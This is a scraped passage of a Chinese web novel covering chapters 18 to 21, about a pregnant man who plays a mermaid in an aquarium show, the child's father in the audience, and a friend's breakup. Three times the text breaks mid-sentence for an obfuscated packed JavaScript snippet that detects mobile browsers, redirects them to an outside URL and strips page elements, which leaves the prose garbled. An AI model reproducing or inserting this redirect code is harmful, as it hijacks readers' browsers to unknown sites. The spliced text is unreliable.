沈茁被夸得手都不知道往哪放,只能在一边讪笑着点头。 人鱼表演晚上七点半开始,沈茁排练完刚好五点整,导演安排他们七点集合,也就是说他有两个小时可以在游乐场自由活动。 这段时间沈茁也没闲着,他拿着自己设计的手链,到处走走拍拍。 游乐场里不乏有氛围感的地方,尤其水族馆,蓝光下的游鱼自带一种忧郁氛围。 沈茁拍了满满一相册照片,和几十条视频。 拍完照还有半个小时休息时间,他找了个安静的地方坐下来剪视频。 做自媒体线上卖货有几个没吃过限流的苦呢? 他最近发的几条视频浏览量都低得出奇,花钱买推流都没什么起色。 专门来这么远的游乐场拍营业视频是不可能的,不单路程远门票也贵,沈茁打算趁着这个机会多拍点,回了家一点点上传。 游乐场周年庆的优惠力度很大,人肉眼可见多了起来,沈茁剪辑完一个视频,直接发在了自己的账号上。 接着他就看到有个人,鬼鬼祟祟在自己身边转悠。 “孟哥,”沈茁叫了一声,那人立刻触电一样定住了,“孟哥,我能看出是你。” “没意思,”孟也摘掉头上的帽子,撇撇嘴坐到沈茁对面,“你怎么知道是我啊?” “我就是能看出来,”沈茁笑道,“你过来干嘛呀,怪远的。” “你还好意思说!”孟也把背包往桌上一放,边拿东西边怨怼:“防晒没涂,孩子都被你晒蔫了!” “药没喝饭没吃,孩子一点营养都吸收不到!” “喝水了吗?下水之后肚子没疼吧?肚子饿不饿?” “我看这里的东西都挺贵的,你肯定舍不得买,我偷偷给你带了几个卷饼,你赶紧吃了。” “我没事,”沈茁心里一阵感动,差点没哭出来,“我就不吃东西了,怕后面表演的时候游不动。” “孟哥,谢谢,”他握住孟也的手,不好意思地问:“一会我表演的时候,能麻烦你给我录个视频吗?” “跟我这么客气干嘛,”孟也把桌上的东西一点点收回到包里,“等着吧,肯定把你拍得漂漂亮亮的。” 说完,又补充道:“你等会表演完,必须把这个卷饼吃了。” “嗯,好。”沈茁乖乖点头。 * 顾望西的精力远比他看上去的更旺盛,林庭安陪他从入口玩到最里面,顾望西还叽叽喳喳跟个麻雀一样,一点不见倦意。 项目都是顾望西在玩,林庭安办了个终身VIP卡,可以免排队省了不少时间。 他全程作为围观者,看着顾望西穿梭在各种游乐设备中上上下下,玩雷霆飞车吐得眼冒金星,下一秒还能挣扎起来跑到海盗船上激情四射。 林庭安的眉头就没放松下来过,他搞不懂这些东西到底哪里好玩。 他对顾望西的态度也很简单,没感觉谈恋爱是不可能的,权当个异姓弟弟,陪他玩一天就算是他这个当哥的尽尽地主之谊。 “林哥,你快点走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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灯光是老天赐给这条人鱼的专属偏爱,海水也自动为他蒙上了一层神秘的面纱。 隔着玻璃和水,这条人鱼是最与众不同的存在。 他是海底的异类,同族中只有他没有秀丽的长发,只有他没有海洋一样幽深的尾巴。 他金黄的尾是一切罪恶的来源,他被孤立、被霸凌、被嘲讽,因为他与众不同,因为他天生魅惑。 他自虚无中来,又该去往何处? 人鱼在水中漫游,像被抛弃的宠物,他找不到家,他没有栖身之处。 漂亮的鱼尾在水中翻腾,激起细小的浪花。 人鱼像感知到了什么,慢慢摸索游到了最前方。 他细长的手指触碰着玻璃,好像感受到了唯一可与他共振的磁场。 突然,悠扬的背景音戛然而止,黑暗降临,一束光微光打在人鱼眼上。 漂亮神秘的鱼,在水中睁开了眼。 那双忧郁的眼睛,对上了另一双漆黑的眸子。 沈茁的瞳孔不断放大,最先反应过来的,不是还没适应海水的眼睛,也不是一片空白的大脑。 而是热浪翻腾的小腹,他突感感到一种命运般的归属感。 这是这场表演设置的唯一一个彩蛋,开场时人鱼会闭上眼睛,在黑暗中随机挑选一位观众,与他近距离对视。 沈茁怎么也想不到,他会在这里看到林庭安。 他还未说出口坦白的一夜情对象,他打算尽力一搏托付的人,他孩子的爸爸。 19. 第 19 章 人鱼与异族人类短暂对视后,落荒而逃般转身游向大海深处。 接着几条蓝尾长发的美艳人鱼将他围在中间,她们环绕住他,背景音高昂起来,像是在为这场欺凌助兴。 金黄色的鱼被压在海底,他想挣扎却游不出□□圈起的囚笼,他想忍耐但蓬勃的自尊心叫嚣着不许他沉默。 脑中天人交战,身体先一步做出了反应。 人鱼冲破囚笼,向更远处游去,不想却被人抓住了尾鳍,尾巴上的珍珠被扣下,鲜血染红了清澈的水,腰间的薄纱断线般飘走,露出了他腹部的伤疤。 右侧有人围追堵截,左侧是等他入瓮守株待兔的小人鱼,他逃无可逃,无数双手朝他伸来。 他不知道等待他的是什么,但他懂得勇敢必然要付出代价,所以接受任何结局。 海中最残忍的事情正悄无声息地上演,灯光暗下,金黄的鱼发出最后一声低鸣。 这次黑暗持续了很久,馆中唯一的光亮是贴着“安全出口”四个字的指示牌。 林庭安从未如此投入地看一场表演,他的心脏暴跳如雷,还沉浸在刚刚与人鱼对视的复杂感觉中。 表演的人鱼眼睛上围着白色的丝带,他看不到他的眼睛,甚至看不清他完整的脸。 但林庭安却感受到了一种莫名的迫切,人鱼吐的每一个泡泡都好像在说,快看看我吧,快看看我吧。 又好像在说,如果你看不到我,我会因为你不曾落在我身上的目光而死掉,如果你的眼睛看不到我,那就用灵魂来感知我。 林庭安自己都无比惊讶,他竟然会不由自主地揣测一条人鱼的心思。 突然,暖黄色的灯光逐渐亮起,一只海豚自水底慢慢上游,它的背上好像驮了个人。 几秒钟后,白炽光照亮了整个场馆,人们这才看到海豚背上的正是刚刚那条人鱼。 他奄奄一息将头贴在海豚头顶,一只手轻抚着海豚的背,脸上是劫后余生般的微笑。 画面一转,不远处掌管海底秩序的祭司手执权杖,霸凌者匍匐在她脚边,低头忏悔。 表演结束,观赏鱼成群结队游来,挡住了后面的人鱼,人鱼表演者趁机游出水面,宣告了这一场表演的结束。 馆中的喇叭开始播报下一场表演,众人这才回过神,从刚刚的人鱼表演中走出来。 “林哥,你也太幸运了吧,”顾望西怔怔看着水面,惋惜道:“刚才那条鱼怎么一下子就找到你了,他怎么不往我这偏一下,跟我眼对眼呢!” “这叫缘分,”林庭安深吸口气,摸了摸下巴,“你不懂。” “还缘分呢,”顾望西磋磨了林庭安一天,摸准了他是纸老虎,毒舌道:“这分明叫狗屎运。” 林庭安不想跟他计较,沉默看着玻璃后面的海水微微出神。 刚刚那条鱼流血的时候,他的心也被狠狠揪了一下,后来才发现流出的并不是血,而是红色的液体饲料。 也是,这家水族馆以环保闻名,怎么会真的在水里放人造血。 不过,他看表演竟然投入到这种程度了吗? 明知一切都是假的,怎么会这样代入,甚至到心疼的地步? 回到后台,沈茁半脱掉鱼尾,靠在椅子上大口呼吸。 这场表演的剧情很简单,因为时间有限表演者无法长时间呆在水底,所以剧情从一开始的二十分钟缩短到了十分钟。 保留下来的都是精髓,舞编早在一个月前就设计完了剧情,这是来自海底的自我救赎的故事。 临时决定换沈茁当主演后,导演稍微改了一些细节,沈茁表演的时候加更代入了。 他也曾被人欺负过,如今正努力想要冲破自己内心的牢笼,简直太能与这个剧目共鸣。 突然,沈茁想到了刚刚看到林庭安的那一刻,他也不知怎的,好像再也控制不住了,恨不得立刻坦白一切。 宝宝还小自然不会在肚子里踢他,可那瞬间他真的感受到了来自腹部细小的抖动。 宝宝,你也迫不及待,想快点跟爹爹相认吗? “小沈,真不赖呀真不赖,”导演的笑声突然响起,他笑呵呵走过来欣慰道:“小张这小子可真是找对人了,一会好好表现多跟观众互动。” “这都是我该做的。” 沈茁的嘴唇有些苍白,化妆老师正帮他涂口红,他没法起身只能用眼睛看着导演。 “你就别动了,”导演大手一挥,“咱这场表演算是大获成功,我跟馆长商量了一下,每个人加五百的工资。” 此言一出,原本累得垂头丧气的一众演员立刻抬起了头,齐刷刷地说:“谢谢导演!” 十分钟的休息时间,说长不长说短不短,沈茁手机都没来得及看一眼,刚从厕所回来就被工作人员催着下了水。 重新穿上鱼尾,小腹处的压迫感好像更重了,沈茁将手掌贴在肚子上,感受到了一片冰凉。 心里突然升起了不好的预感,强压下隐隐的不安,他安抚似的拍了下肚子,跟其他人鱼一起下了水。 人鱼互动的环节虽然跟烟花秀没有重合,但如果想抢到好的位置看烟花,一般都要提前一到两个小时去占位置。 人鱼表演已经结束了,站在后面的观众也没法跟人鱼互动,全都离开场馆赶过去烟花了。 林庭安二人站在第一排,自然没有无法互动的烦恼。 “林哥,咱走吗?”顾望西有点犹豫,是留下来还是去外面吃点东西,然后再去看烟花。 “上哪去?”林庭安反问。 “看烟花啊,”顾望西抱着胳膊回道,“咱现在去,还能赶上烟花秀前的巡游。” “不去,”林庭安一口回绝,“你要是想去就自己去,我在这看鱼。 顾望西:…… 他动了动嘴,刚想说什么,就见一条人鱼游了过来。 “是那条!”顾望西惊呼,“刚才那条小金鱼游过来了!” 他激动地抓住了林庭安的小臂,兔子一样跳起来。 林庭安不知怎的,也跟着紧张起来,他按住顾望西毛躁的手,眼睛一眨不眨盯着人鱼肚子。 十分钟的时间来不及卸妆,这条人鱼的肚子上还留着表演时的伤痕。 从肚脐处开始,转了个弯延伸到了腰侧。 林庭安只看一眼就觉得烦躁,自打跟这条鱼对视后,他就哪哪都不对劲! 沈茁下了水就开始寻找林庭安的身影,找了好一会,接连互动了两三个观众他才看到那个熟悉的身影。 他游过去的时候林庭安没什么反应,沈茁知道他没认出自己。 也是,只匆匆见过一面的人,记不住才正常。 他向后退了退,用手指在水里划了几个圈,水圈像能听懂话一样,飞向对面二人。 接着沈茁做了个飞吻的手势,嘴里吐出的泡泡穿过光圈,飞到最前方散开。 馆里有规定,跟观众互动的时候必须微笑,要青春洋溢,要积极向上。 但沈茁现在却怎么也笑不出来,他紧盯着那个漂亮男孩放在林庭安身上的手。 他们是什么关系,为什么会一起来游乐场? 隔着玻璃,沈茁都能感受到那个男孩身上朝气蓬勃的气息,他比自己更好看也更健康,有那么一种人只看外表就知道他家境很好,这个青年就是这样。 他跟林庭安才是门当户对,那自己算什么呢? 宝宝又算什么呢? 可是那天晚上…… 他很确定林庭安一定是第一次,他那么青涩,虽然动作很粗暴也很急躁,但这都是性格使然,他没有技巧只会横冲直撞。 难道是在那之后交的男朋友吗? 如果现在坦白一切,会让所有人都陷入两难的境地吗? 沈茁差点哭出来,他游上前去伸出手指抵在玻璃上。 他期望那个人能在玻璃的另一边,伸出手跟自己互动。 否则他未免也太可怜了,怀着宝宝在水里给人观赏,孩子的另一个爸爸却在外面以娱乐的心态观看。 细长的手指停在眼前,林庭安怔了下,他刚想抬起手,顾望西就咋咋呼呼抓着他的手腕跑出了水族馆。 恍惚中林庭安好像看到那条人鱼哭了,在水里是看不到眼泪的,但他就是能感受到,有几滴泪混在人造海水中。 人鱼在哭。 “你干嘛?!” 出了场馆,林庭安甩开顾望西的手,在夜色中跟他对视。 “再不去看烟花就来不及了,”顾望西无辜道,“都跟人鱼互动过了,还留在那干啥?” “你没看到刚才那人要跟我戳手指吗?”林庭安低吼,他心里烦躁,总觉得有什么东西错过了。 那是种直觉,人在悄然失去什么的时候,总会产生一种莫名的感觉,在事件发生的当下这是直觉,在事件发生后人们往往会称之为后知后觉。 “那怎么办,都出来了,”顾望西撇撇嘴,他还委屈呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799730|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“对不起还不行吗,我又不是故意的。” “首先,我已经表明我要留下看鱼,不去看烟花,”林庭安冷静下来,严肃道:“其次,在不经询问的情况下,强行把别人拉走是很不礼貌的行为。” “对不起!”顾望西的脾气也上来了,他叉着腰跟林庭安对吼,“我都说了我不是故意的,你才多大呀,能别这么古板吗?” “也不知道那鱼有什么好看的,”顾望西咬了下嘴唇,抬眼看向林庭安,“真没意思,我还不跟你玩了呢。” “我根本就不喜欢你这样的,我喜欢胸大屁股大还会说好话的,你根本不会哄人怪不得到现在还没男朋友!” 顾望西从小没被人这样吼过,唯一谈的男朋友也对他百依百顺,能忍受林庭安到现在已经到了他的极限。 “算了,”顾望西抽了抽鼻子,“回去我就跟唐阿姨说,咱们不合适,烟花我也不看了,我回家!” “你……”林庭安上前一步,话还没说出口,就被打断了。 “我叫司机来接我,你回去看你的鱼吧!” 说完,顾望西转身就跑了。 林庭安站在原地,心里却毫无波澜,他给自己的保镖打了个电话,吩咐他们送顾望西回家。 挂断电话,他的视线落在了一旁的纪念品商店。 游乐场必有的割韭菜圣地,里面是琳琅满目的纪念品。 小玩偶,钥匙扣,纪念水杯,可折叠毯子…… 经店员推荐,林庭安选了个美人鱼大全套礼盒,趁着人少送到了水族馆。 他没说别的,只让馆长把东西给那条尾巴金黄色的人鱼,怕馆长弄错,还特意强调:“是那条男人鱼。” 林庭安做这事没什么依据,全凭直觉,他的直觉从没出过错。 为什么会过分关注这个人,为什么短短几分钟的表演就能牵动他的情绪,林庭安通通不清楚。 这些也都不重要,重要的是他得做点什么。 其实林庭安是想留下来,亲自见一下那条人鱼的扮演者,但中途他接了个电话,是秦圳打来的。 似乎是合作的事出了问题,秦圳在电话里没有多说,只说晚上再去保马苑小聚。 生意事大,他匆匆离开游乐场,最终还是没见到那个乱人心神的人。 人鱼互动的时间只有半个小时,结束工作后,比起身体更让沈茁难受的是闷疼的心脏。 他魂不守舍换回自己的衣服,一路跟馆里的工作人员告别,走到出口的时候小腹处的酸疼开始变得明显。 说不害怕是假的,沈茁加快脚步,只想快点回家。 不成想被馆长拦住了去路。 “小沈,你腿脚可真快,”馆长气喘吁吁赶来,把一个巨大的礼品盒塞到他手里,“这是林总叫我给你的。” 说完,怕他不清楚林总是谁,又加了句:“就是那个跟你互动的观众,高高壮壮的,人长得挺帅,穿的是黑色的衣服。” “不认识也不重要,”馆长笑嘻嘻地说,“林总第一次来,这东西你收着就行,不要白不要。” “谢……谢谢。” 沈茁还处在震惊中,脑子还没反应过来就先接过了东西,一个大箱子重量很沉,他掂了掂能有个几斤。 是……是他想的那个林总吗? 他不是走了,为什么要送自己东西? 沈茁心下一暖,一会想是不是他认出了自己,一会又想会不会是他男朋友让送的? 再过一会又开始猜,那个男生到底跟他是什么关系? 快走到游乐场出口的时候,沈茁一拍脑袋,才想起来他把孟哥落里面了! 连忙拨打了孟也的电话,响了好几声对面才接通。 “孟哥,对不起,我忘了联系你了,你在哪我去找你。” 电话那边传来一阵窸窣声,好一会孟也才开口:“呜呜呜,我……我还在外面。” 他低声哭着,断断续续地说:“沈茁,你自己回家行吗,我得一会才能回去。” “发生什么了?”沈茁心里着急,连忙问:“你在哪?我去找你,你这样让我怎么放心。” “我没事,你先回家吧,”孟也抹了抹脸上的眼泪,调整好情绪,保证道:“就是有点私事,你别担心,我马上也到家了。” 嘟嘟嘟—— 不等沈茁反应,电话就被挂断了。 他身心俱疲,一根弦紧绷着,头一次不在乎路费,打车回了家。 20. 第 20 章 沈茁在家等了半个小时,房门口终于传来了动静。 门开的瞬间,他立刻端着煮好的热牛奶迎了上去。 孟也的眼睛红得像兔子,他小声抽泣着,脸上没什么多余的表情,只有一种心如死灰的寂静。 沈茁知道一定是发生了什么,他没有多问,拉着孟也坐到沙发上,沉默地握住他的手,小心翼翼把热牛奶凑到他嘴边。 孟也怔怔看着地板,眼尾像被人点了朱红,这样无声的孟也让沈茁感到害怕。 一个那么活泼的人,突然安静下来,这绝对不是什么好事。 “孟哥……” 沈茁轻轻喊了声,他不会哄人,不知道该怎样安慰面前这个曾救自己于水火的人。 孟也没说话,空气凝滞在一起,让人呼吸都困难。 沈茁无措地僵在原地,就在他想要放下牛奶,去拿别的东西碰碰运气时,孟也突然转身抱住了他。 满杯的热牛奶淋了沈茁一手,手背瞬间红了大片,但他却好像一点痛感都没感受到,赶忙把水杯放到茶几上,回抱住孟也。 “孟哥,发生什么了?”沈茁轻抚孟也的背,轻轻问。 “我再也再也再也不相信那个渣男了!” 孟也将脸紧紧窝在沈茁颈间,发出了悲愤的怒吼,他终于大哭出声,像是压在心里许久的委屈,全都在这一刻释放了出来。 “明明说了以后除了我都不会再有别人,”孟也泣不成声,“还没到一个月就被我抓了现行!” “是我贱,明知道他是什么样的人,还是对他抱有期望,还是希望他能像以前一样,哪怕是骗我的,只要不让我发现,我就可以当做什么都不知道。” “他知道我从小没人爱,只施舍给我一点关心,我就会像哈巴狗一样跟在他身边,他什么都知道,什么都知道!” 孟也越哭越大声,他整个身体都在颤抖,沈茁死死揽住他的肩,眼泪也跟着流了下来。 “孟哥,他根本配不上你,”沈茁的心针扎般发疼,激增的肾上腺素让他感受不到任何其他的痛感,只有共鸣的情绪在叫嚣,“你别再理他了好不好?” “我再也不想见他了,”孟也哭着说,他的声音因为嘶吼变得沙哑,“我要卖掉这个房子,我要离开这里,我要去一个他再也找不到我的地方!” “好,”沈茁轻抚孟也柔软的头发,“你想做什么都可以。” 你想去哪里,想在哪生活,都可以。 不必考虑我,不要再被藕断丝连的感情困扰,你的人生还有那么长那么长,不要让自己陷在死局里。 孟也低声控诉,沈茁就这样耐心听着。 耳边剧烈的呼吸声逐渐放缓,不知过了多久,沈茁的肩膀和手臂已经麻木到没有了知觉,他才感受到怀里的人睡着了。 孟也睡得并不沉,甚至眼角还有未干的泪水。 沈茁把他平放到沙发上,站起来的瞬间差点没一头栽下去,身体的各个器官都在叫嚣,小腹处的不适尤为强烈。 他小跑到卫生间,惶惶不安地脱掉裤子,入目是刺眼的红。 短短一天的时间,他经历了太多,情绪的起伏简直可以以小时为单位计算,孩子怎么可能不受影响。 沈茁默默擦掉身下的鲜血,换了条干净的裤子,把脏污的裤子放在洗衣盆里搓洗。 孟也家的卫生间跟洗浴间是一体的,沈茁将浴霸开到了最大,他太冷了,用的是温水又在炎热的夏天,可他还是感觉冷。 那种寒意是从身体里发出来的,仿佛是从骨头里渗出来的一样,明明已经开始出汗,可身体还是因为寒冷不住地发抖。 裤子还没洗完,房门突然被敲响了。 准确来说是有人在外面砸门,那人好像用了全身的力气来刁难可怜的防盗门,沈茁站在卫生间都感受到了地板的震动。 来不及擦手,他赶忙跑过去开门,孟也还在睡觉,谁也不能吵醒他。 门开的瞬间,沈茁看到了一张熟悉的脸,他想也没想就用力合上了门。 吃痛的闷哼响起,一只大手抵在门框上,生生挨了一下。 门被弹开,沈茁向后踉跄了几步,那人直接推门闯了进来。 “孟也呢?”冯尽脸色阴沉,低声问。 “你要做什么?”沈茁向后看了眼,悄悄挪动脚步挡在冯尽面前,将沙发上的人挡了个严严实实。 “起开,”冯尽向前一步,眼里满是警告,“我跟他的事还轮不到你插手。” “只要有我在,你就别想再纠缠孟哥。” 沈茁一步不退,戒备地看着冯尽,只要孟也不想谁也不能再接近他。 冯尽用轻蔑的眼神看了沈茁一眼,嗤笑道:“就凭你?” 沈茁气得不行,他没说话而是挺直了脊背,像是在说:就凭我,你能怎样? 冯尽也被激起了怒意,他摸了摸鼻子,想到了下午他陪新养的小情人去游乐场玩,刚买的棉花糖还一口没吃,突然冲出来个人,一把夺走了比头还大的棉花糖,团吧团吧就塞嘴里吃了。 他定睛一看,这人不是别人,正是孟也。 那个他兴趣正浓,好吃好喝供着,甜言蜜语哄着的人。 被发现的那一刻,冯尽第一反应就是开口解释,可孟也根本不给他说话的机会,啪啪往他身上扔东西,边扔边哭搞得好像他做了什么对不起他的事一样。 最可气的是,孟也朝他扔了两个“生化武器”,白塑料袋裹着东西全砸在了他脸上,那东西烫得很,直接把他嘴角汤破了。 他低头一看,才知道这俩“生化武器”是刚从微波炉里拿出来的卷饼。 冯尽差点当场气晕过去,小情人也不管了,拉着孟也去了个没人的地方。 抱着他哄,亲他也不行,给钱也不行,什么都不行。 偶尔屈尊降贵哄人,冯尽只当是情趣,感情要是一直毫无波澜那就离死不远了,吵吵架有时反而可以促进两人的关系。 但今天的孟也简直像是头倔驴,哄到后面他真是没耐心了,说了几句重话,直接把人给气跑了。 用舌头顶了顶烫破的嘴角,冯尽怒火中烧,懒得跟沈茁纠缠,大手一挥把他推到了一边。 沈茁今天虚得很,身体和情绪都不在状态,冯尽这么一推他来不及反应,整个人径直向后倒去。 跌倒的瞬间,他的第一反应是用手护住肚子,然后闭上眼睛等待疼感来临。 一秒,两秒,三秒…… 坠落感被一股力量接住,一只手抓住了沈茁的肩膀,用力稳住了他的身体。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799731|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟哥?” “孟也!” 两道声音一齐响起,一个充满了讶异和担忧,另一个却带着不满与斥责。 “你先回卧室,”孟也看着沈茁,强扯出一抹比哭还难看的笑容,“让我跟他说清楚,行吗?” 沈茁泄了气,他只好点点头,瞪了冯尽一眼后慢吞吞回了客房。 关门声响起,冯尽猛地冲过去把孟也揽在了怀里,大声质问:“你闹什么脾气?” “别碰我!”孟也使出全身的力气挣扎,奈何力量相差悬殊,丝毫没有撼动紧锢在自己腰上的手。 “你到底在闹什么?” 冯尽一手抓住孟也的腰,另一只手扣住他的头,两人额头抵着额头,被迫注视着对方,都从彼此眼里看到了自己不想看到的情绪。 “孟也,我对你还不够好吗?”冯尽双目猩红,头上青筋暴起,“你现在住的房子,你银行卡里的钱,哪个不是我给的,你还想要什么?” “我想要什么难道你不知道吗?”孟也嘶吼道。 明明不想哭,豆大的泪水却断了线般砸下来,落在了冯尽粗壮的小臂上。 用拇指擦掉湿哒哒的眼泪,凉意跟着渗进了冯尽心里。 他当然知道,知道孟也要的是什么。 不过是专一、忠诚、一心一意、独一无二……但这些他通通给不了。 能嘴上骗一骗孟也,已经是他能做到的极限。 冯尽真是想不明白,孟也为什么这么在意如此虚无的东西,他确实爱他、喜欢他,但却不代表这种喜欢会持续一辈子。 享受当下不就好了,亲吻时开心,床上和谐欢愉,这不就够了。 他当然不会一辈子只跟一个人在一起,这样一眼看到头的日子,孟也究竟为什么会如此向往? “没什么好说的了,”孟也无力地拂开冯尽的手,自嘲般笑道:“既然你做不到,我不会强求,我会把房子卖了,咱们断了吧。” “你在说什么鬼话?” 冯尽的眼神愈发阴翳,他捏住孟也的下巴,阴冷如毒蛇的眼神死死盯着他,“我告诉你,这房子我能给你,也能收回来。” 孟也不可置信地看向冯尽,什么意思? 这个人为什么会如此不近人情? 他深深喜欢了几年的男人,怎么会是这样的人? * 房间还算隔音,但沈茁还是听到了客厅隐约的争吵声。 他坐在床上看着书桌上狼藉的线团,桌脚边堆成山的珠子,还有那枚静静躺在台灯下的袖扣,血迹干在上面像是精致艺术品上唯一的残缺。 他自己的人生,连带着别人的,好像都被搞砸了。 如果不是他孟也或许早早就脱了身,兴许现在在海边度假也说不定。 如果他再勇敢一点、果决一点,是不是一切都会不一样。 沈茁静静躺在床上,看着明亮的吸顶灯流泪。 好冷好冷,肚子酸胀,像有一千个人在里面踢一样钝痛。 摸了摸额头,好像有些发热。 眼前的光晕变得模糊起来,脑子也变得晕晕乎乎。 应该是发烧了,沈茁强撑着坐起来,但他不能吃药。 怀孕了不可以吃任何处方药,睡一会吧,睡一会就好了。 21. 第 21 章 沈茁是在半夜被人叫醒的,孟也先是敲了敲门,见没人回应就直接开门进了屋。 这时候沈茁额头上的高热已经退了下去,他用被子紧紧裹住了自己的身体,生生闷出了一脑门的虚汗。 孟也去看他时,并没有发现什么异常,他抽出沈茁身下的被子,打开卧室的空调开到了适宜的温度,刚想转身关灯就被人拉住了手腕。 沈茁醒来时眼前还有些晕,他模模糊糊看到一个人影,想也没想就像抓住救命稻草般攥住了那人的手。 “孟哥,他没欺负你吧?”沈茁的声音微微发哑,他清了清嗓子,努力让自己看起来没那么病态。 “没有。”孟也摇头,撕扯到最后他想明白了,他得学会放手学会忘记。 他知道能够抹平冯尽在他心里的痕迹的,只有时间和距离。 “沈茁,我……”孟也低头看着自己的衣角,手指没有目的地在上面乱划,一番纠结后他慢慢开口:“我决定离开这了,我打算明天办张新的银行卡,把冯尽给我的钱都转移到新卡里。” “然后随便去哪里旅游散散心,”孟也抓住沈茁的手,眼里是对新生的向往,“沈茁咱们一起去旅游吧,去看看大山大河,说不定就什么都想开了。” 沈茁很开心,他仿佛看到孟也小心地迈出了那个自己给自己画的圈,曾经画地为牢,现在他终于推开了那扇困住自己的门。 被感情困住的人往往最容易钻牛角尖,也很难真正放下过往的种种,从前付出的所有心意,所有把心掏出来跟另一颗心放在一起的时刻,都是不可忽视的沉没成本。 孟也能想通,沈茁简直开心到要跳起来,但他没法离开,他和肚子里的那个,对于孟也来说都是负担。 会让他不能快快乐乐地玩,让他在愉快的旅途里去照顾一个孕夫,这未免太不公平。 况且沈茁自己也不能离开这,他已经决定要留下来。 “我今天遇到了宝宝的另一个爸爸,”沈茁笑着说,“他好像认出我了,我就把怀了宝宝的事告诉了他。” “什么?!”孟也瞳孔微张,眼睛一眨不眨看着沈茁,“那他是怎么说的,他认不认这个孩子?” “他怎么可能不认,”沈茁做出傲娇的表情,笑眯了眼睛,“他说明天就接我走,我正愁不知道怎么跟你说呢。” “真的假的?”孟也不可置信地问,他定定看着沈茁的眼睛,严肃道:“小沈同学,你说实话,是真的吗?” 哪里有这么巧的事,他刚说要离开京都,沈茁就带着孩子跟亲爹相认了? “你不要有心里负担,如果你不想跟我去旅游,你可以继续住在这里,我刚刚就是瞎说的,现在房价这么低我不会卖房子的。” “当然是真的!” 见孟也不信,沈茁手脚利落跳下床,打开衣柜拿出了那个超大的礼品盒,往孟也面前一放,“你打开这个看看,这个就是孩子爹给我的。” “有这么巧的事?” 孟也半信半疑,边嘀咕边扯开了礼盒上的蓝色丝带,拿掉盖子后正方形的礼品盒四面散开,各种人鱼形状的制品天女散花般滚了出来。 一个美人鱼形状的挂坠刚好掉在了沈茁腿边,他拿起那个挂坠在孟也眼前晃了几下,“你看,这个大礼包可贵了我自己可舍不得买,不是他给我买的还能是谁?” 人鱼水晶杯,大中小号人鱼玩偶,毛茸挂件,小人鱼背包,甚至还有文具大礼盒…… 孟也原本只有百分之二十的信任度瞬间提到了百分之八十,他突然有种要长脑子的感觉,用手按了按太阳穴说:“有钱人接受东西就是快哈,你一个男的,说怀孕了他就信了?” “他现在当然是不信,”沈茁忍着身体的不适,抱着胳膊挑眉道:“但他也不敢不信,他说明天先去做个检查,别的事以后再说。” “也对,”孟也的眉头拧成一团,将信将疑地点头,“这种事确实得严谨点。” “好了,你就别担心我了,我马上就带孩子去过好日子了,你想去哪玩就去哪,不用考虑我。” 沈茁起身把孟也从床上拉起来,轻推着出了卧室,“明天你走的时候别忘了把钥匙也带走,屋里的水电别忘了断。” “拿走干什么,钥匙你就拿着,我要是长时间不回来,屋子里没有人气,还得托你来看一看。” “好,”沈茁的眼睛亮晶晶的,忍着酸涩的鼻尖,他抬手摸了下孟也的脸,“孟哥,你长得很好看,人也好,以后肯定会遇到更好的人。” “你也是。”孟也心里有种摸不定的怅然,好像有什么东西悄然溜走了,他却捉摸不透,抓不住也握不牢。 “那你好好休息,我回房间了。” “好,晚安。” 第二天早上,沈茁早早醒了。 全身就像被车压了一样疼,他在床上坐了半个小时,也不知是适应了还是疼痛得到了缓解,小腿和手臂处的酸胀感减轻了不少。 沈茁调整好状态走出房间,孟也已经换上了新的衣服,一改往日随意的穿搭,穿了件条纹短袖和深黑色的西装短裤,头上还戴了个渔夫帽。 整个人神采奕奕,像在发光。 两人一起吃了午饭,下午沈茁送孟也去了机场。 临别时,二人都默契地没说多余的话,只是紧紧抱住对方,孟也笑着说了声:“等我回来,咱们再一起玩。” 沈茁红了眼眶点头,而后目送孟也去安检,进了候机区。 飞机晚点了半个小时,于五点十分顺利起飞。 空中划过的白线消失在眼前的那一刻,沈茁瞬间放松下来,他双腿一软,差点没摔倒在原地。 燥热感侵袭而来,沈茁抬头仰望湛蓝的天空,看白云也是虚浮地飘着,他的大脑无限放空。 不知道该想些什么,好像只有心里的难过是真的。 回到家时天还亮着,沈茁径直走向卧室,一头栽倒在床上,一睡就是几个小时。 再睁眼,天已经黑了,屋子里静得出奇。 让人恐惧的孤独感压得沈茁喘不上气,他这一天只中午喝了点粥,现下却一点饥饿感都没有。 肚子又开始发疼了,但沈茁知道这不是饿的,是宝宝的原因。 这个月他去产检时,医生警告他情绪起伏不要太大,不要忧虑过多,多吃点有营养的东西。 他听进去了,却没做到。 现在更是茫然到连灯都不想开,只想哭,放声大哭。 他以为他习惯了孤独,习惯了没人关心,习惯了一个人做任何事情。 但其实不是的,孟也陪了他一个多月,就让他再也回不到过去,一个人面的空荡荡房间的时候。 没有人会真的喜欢一直一个人,一个人吃饭做事,一连几天都不说话。 没有人! 悲寂的哭声由小到大,最终充斥在整个房间。 